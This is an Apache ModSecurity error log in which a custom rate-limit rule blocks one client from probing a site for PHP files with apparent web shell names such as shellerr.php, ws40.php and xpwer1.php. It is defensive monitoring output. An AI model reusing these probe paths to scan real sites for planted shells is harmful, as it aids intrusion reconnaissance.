[Wed Apr 01 08:13:57.430425 2026] [:error] [pid 24348:tid 24402] [client 74.234.75.219:64763] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ad.php"] [unique_id "acxjRW0Vs69Y5nF1HA_32gAAAZc"]
[Wed Apr 01 08:13:57.977207 2026] [:error] [pid 23714:tid 23750] [client 74.234.75.219:65382] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ad.php"] [unique_id "acxjRUHxDDU2ETcG9DQKoQAAABA"]
[Wed Apr 01 08:13:58.522520 2026] [:error] [pid 24314:tid 24339] [client 74.234.75.219:64097] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "acxjRpRF3FCzjmMUX5b4WwAAARU"]
[Wed Apr 01 08:13:59.096768 2026] [:error] [pid 23714:tid 23756] [client 74.234.75.219:65290] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "acxjR0HxDDU2ETcG9DQKpAAAABY"]
[Wed Apr 01 08:13:59.706152 2026] [:error] [pid 23715:tid 23782] [client 74.234.75.219:64702] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "acxjR6-REzOruNbiT9x5gAAAAFU"]
[Wed Apr 01 08:14:00.342602 2026] [:error] [pid 23819:tid 23835] [client 74.234.75.219:64651] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "acxjSNdfUS_37wFAM773MwAAAM0"]
[Wed Apr 01 08:14:32.843319 2026] [:error] [pid 24314:tid 24337] [client 74.234.75.219:64082] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acxjaJRF3FCzjmMUX5b4jAAAARM"]
[Wed Apr 01 08:14:33.405498 2026] [:error] [pid 24348:tid 24402] [client 74.234.75.219:64646] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acxjaW0Vs69Y5nF1HA_4IAAAAZc"]
[Wed Apr 01 08:14:33.987144 2026] [:error] [pid 23716:tid 23793] [client 74.234.75.219:65303] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acxjaXVtFUg_mx-RYb52SgAAAIU"]
[Wed Apr 01 08:14:34.495727 2026] [:error] [pid 23714:tid 23743] [client 74.234.75.219:65405] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acxjakHxDDU2ETcG9DQLtQAAAAk"]
[Wed Apr 01 08:14:35.037494 2026] [:error] [pid 23716:tid 23798] [client 74.234.75.219:65370] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "acxja3VtFUg_mx-RYb52TAAAAIo"]
[Wed Apr 01 08:14:35.593645 2026] [:error] [pid 24348:tid 24380] [client 74.234.75.219:64117] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "acxja20Vs69Y5nF1HA_4KAAAAYE"]
[Wed Apr 01 08:14:36.096431 2026] [:error] [pid 24346:tid 24353] [client 74.234.75.219:64717] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "acxjbLc1l8kg9MhGHIKjNwAAAUE"]
[Wed Apr 01 08:14:36.627867 2026] [:error] [pid 23714:tid 23739] [client 74.234.75.219:63428] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "acxjbEHxDDU2ETcG9DQLwwAAAAU"]
[Wed Apr 01 08:14:37.215352 2026] [:error] [pid 23714:tid 23754] [client 74.234.75.219:64679] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "acxjbUHxDDU2ETcG9DQLyAAAABQ"]
[Wed Apr 01 08:14:37.722599 2026] [:error] [pid 23714:tid 23742] [client 74.234.75.219:65301] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "acxjbUHxDDU2ETcG9DQLygAAAAg"]
[Wed Apr 01 08:14:38.291209 2026] [:error] [pid 23716:tid 23788] [client 74.234.75.219:65368] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "acxjbnVtFUg_mx-RYb52TwAAAIA"]
[Wed Apr 01 08:14:38.839671 2026] [:error] [pid 24348:tid 24402] [client 74.234.75.219:64741] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "acxjbm0Vs69Y5nF1HA_4LgAAAZc"]
[Wed Apr 01 08:14:39.358789 2026] [:error] [pid 23714:tid 23746] [client 74.234.75.219:65341] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sweg.php"] [unique_id "acxjb0HxDDU2ETcG9DQL1AAAAAw"]
[Wed Apr 01 08:14:39.863702 2026] [:error] [pid 23714:tid 23750] [client 74.234.75.219:64068] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sweg.php"] [unique_id "acxjb0HxDDU2ETcG9DQL2gAAABA"]
[Wed Apr 01 08:14:40.378986 2026] [:error] [pid 24346:tid 24352] [client 74.234.75.219:64085] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sweg.php"] [unique_id "acxjcLc1l8kg9MhGHIKjOgAAAUA"]
[Wed Apr 01 08:14:40.922051 2026] [:error] [pid 24346:tid 24362] [client 74.234.75.219:63400] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sweg.php"] [unique_id "acxjcLc1l8kg9MhGHIKjPAAAAUo"]
[Wed Apr 01 08:14:41.439431 2026] [:error] [pid 24348:tid 24381] [client 74.234.75.219:65374] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "acxjcW0Vs69Y5nF1HA_4LwAAAYI"]
[Wed Apr 01 08:14:41.987575 2026] [:error] [pid 24346:tid 24357] [client 74.234.75.219:64664] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "acxjcbc1l8kg9MhGHIKjPQAAAUU"]
[Wed Apr 01 08:14:42.525796 2026] [:error] [pid 23714:tid 23749] [client 74.234.75.219:64107] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "acxjckHxDDU2ETcG9DQL4QAAAA8"]
[Wed Apr 01 08:14:43.060010 2026] [:error] [pid 23715:tid 23761] [client 74.234.75.219:64673] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "acxjc6-REzOruNbiT9x58QAAAEA"]
[Wed Apr 01 08:14:43.564856 2026] [:error] [pid 23715:tid 23774] [client 74.234.75.219:65294] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws40.php"] [unique_id "acxjc6-REzOruNbiT9x58gAAAE0"]
[Wed Apr 01 08:14:44.066957 2026] [:error] [pid 24348:tid 24382] [client 74.234.75.219:64109] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws40.php"] [unique_id "acxjdG0Vs69Y5nF1HA_4NgAAAYM"]
[Wed Apr 01 08:14:44.614018 2026] [:error] [pid 23715:tid 23763] [client 74.234.75.219:64660] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws40.php"] [unique_id "acxjdK-REzOruNbiT9x59wAAAEI"]
[Wed Apr 01 08:14:45.138651 2026] [:error] [pid 23714:tid 23754] [client 74.234.75.219:65340] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws40.php"] [unique_id "acxjdUHxDDU2ETcG9DQL6AAAABQ"]
[Wed Apr 01 08:14:45.648942 2026] [:error] [pid 23714:tid 23734] [client 74.234.75.219:65332] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acxjdUHxDDU2ETcG9DQL6gAAAAA"]
[Wed Apr 01 08:14:46.176199 2026] [:error] [pid 24314:tid 24329] [client 74.234.75.219:65394] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acxjdpRF3FCzjmMUX5b4mwAAAQs"]
[Wed Apr 01 08:14:46.724377 2026] [:error] [pid 24314:tid 24331] [client 74.234.75.219:65376] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acxjdpRF3FCzjmMUX5b4nAAAAQ0"]
[Wed Apr 01 08:14:47.329784 2026] [:error] [pid 24346:tid 24354] [client 74.234.75.219:63447] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acxjd7c1l8kg9MhGHIKjQAAAAUI"]
[Wed Apr 01 08:14:47.953483 2026] [:error] [pid 24348:tid 24401] [client 74.234.75.219:64644] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awh.php"] [unique_id "acxjd20Vs69Y5nF1HA_4PgAAAZY"]
[Wed Apr 01 08:14:48.484321 2026] [:error] [pid 24346:tid 24376] [client 74.234.75.219:65307] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awh.php"] [unique_id "acxjeLc1l8kg9MhGHIKjQwAAAVg"]
[Wed Apr 01 08:14:48.991698 2026] [:error] [pid 24348:tid 24388] [client 74.234.75.219:65325] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awh.php"] [unique_id "acxjeG0Vs69Y5nF1HA_4QAAAAYk"]
[Wed Apr 01 08:14:49.514559 2026] [:error] [pid 24346:tid 24371] [client 74.234.75.219:64642] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awh.php"] [unique_id "acxjebc1l8kg9MhGHIKjRgAAAVM"]
[Wed Apr 01 08:14:50.050502 2026] [:error] [pid 23715:tid 23783] [client 74.234.75.219:64652] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellerr.php"] [unique_id "acxjeq-REzOruNbiT9x5_AAAAFY"]
[Wed Apr 01 08:14:50.583529 2026] [:error] [pid 23716:tid 23809] [client 74.234.75.219:64699] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellerr.php"] [unique_id "acxjenVtFUg_mx-RYb52VwAAAJU"]
[Wed Apr 01 08:14:51.105662 2026] [:error] [pid 23716:tid 23805] [client 74.234.75.219:65299] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellerr.php"] [unique_id "acxje3VtFUg_mx-RYb52WAAAAJE"]
[Wed Apr 01 08:14:51.625088 2026] [:error] [pid 23715:tid 23763] [client 74.234.75.219:64727] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellerr.php"] [unique_id "acxje6-REzOruNbiT9x6AwAAAEI"]
[Wed Apr 01 08:14:52.155300 2026] [:error] [pid 23715:tid 23781] [client 74.234.75.219:65393] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-scanner.php"] [unique_id "acxjfK-REzOruNbiT9x6EgAAAFQ"]
[Wed Apr 01 08:14:52.745655 2026] [:error] [pid 23714:tid 23756] [client 74.234.75.219:63385] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-scanner.php"] [unique_id "acxjfEHxDDU2ETcG9DQL-wAAABY"]
[Wed Apr 01 08:14:53.336525 2026] [:error] [pid 23716:tid 23800] [client 74.234.75.219:64046] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-scanner.php"] [unique_id "acxjfXVtFUg_mx-RYb52eQAAAIw"]
[Wed Apr 01 08:14:53.879855 2026] [:error] [pid 23716:tid 23811] [client 74.234.75.219:65351] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-scanner.php"] [unique_id "acxjfXVtFUg_mx-RYb52fwAAAJc"]
[Wed Apr 01 08:14:54.424192 2026] [:error] [pid 24314:tid 24341] [client 74.234.75.219:64078] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "acxjfpRF3FCzjmMUX5b4ogAAARc"]
[Wed Apr 01 08:14:55.012309 2026] [:error] [pid 24348:tid 24389] [client 74.234.75.219:65354] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "acxjf20Vs69Y5nF1HA_4TQAAAYo"]
[Wed Apr 01 08:14:55.569269 2026] [:error] [pid 24346:tid 24370] [client 74.234.75.219:64100] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "acxjf7c1l8kg9MhGHIKjWwAAAVI"]
[Wed Apr 01 08:14:56.130376 2026] [:error] [pid 23819:tid 23825] [client 74.234.75.219:64748] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "acxjgNdfUS_37wFAM773TQAAAMM"]
[Wed Apr 01 08:14:56.728561 2026] [:error] [pid 24346:tid 24369] [client 74.234.75.219:64647] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/to.php"] [unique_id "acxjgLc1l8kg9MhGHIKjXgAAAVE"]
[Wed Apr 01 08:14:57.251481 2026] [:error] [pid 23714:tid 23734] [client 74.234.75.219:63468] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/to.php"] [unique_id "acxjgUHxDDU2ETcG9DQMBwAAAAA"]
[Wed Apr 01 08:14:57.845017 2026] [:error] [pid 23716:tid 23804] [client 74.234.75.219:64723] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/to.php"] [unique_id "acxjgXVtFUg_mx-RYb52gwAAAJA"]
[Wed Apr 01 08:14:58.409718 2026] [:error] [pid 24314:tid 24318] [client 74.234.75.219:64742] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/to.php"] [unique_id "acxjgpRF3FCzjmMUX5b4pQAAAQA"]
[Wed Apr 01 08:14:58.914317 2026] [:error] [pid 23714:tid 23747] [client 74.234.75.219:64688] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "acxjgkHxDDU2ETcG9DQMCAAAAA0"]
[Wed Apr 01 08:14:59.441603 2026] [:error] [pid 24348:tid 24400] [client 74.234.75.219:64764] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "acxjg20Vs69Y5nF1HA_4TwAAAZU"]
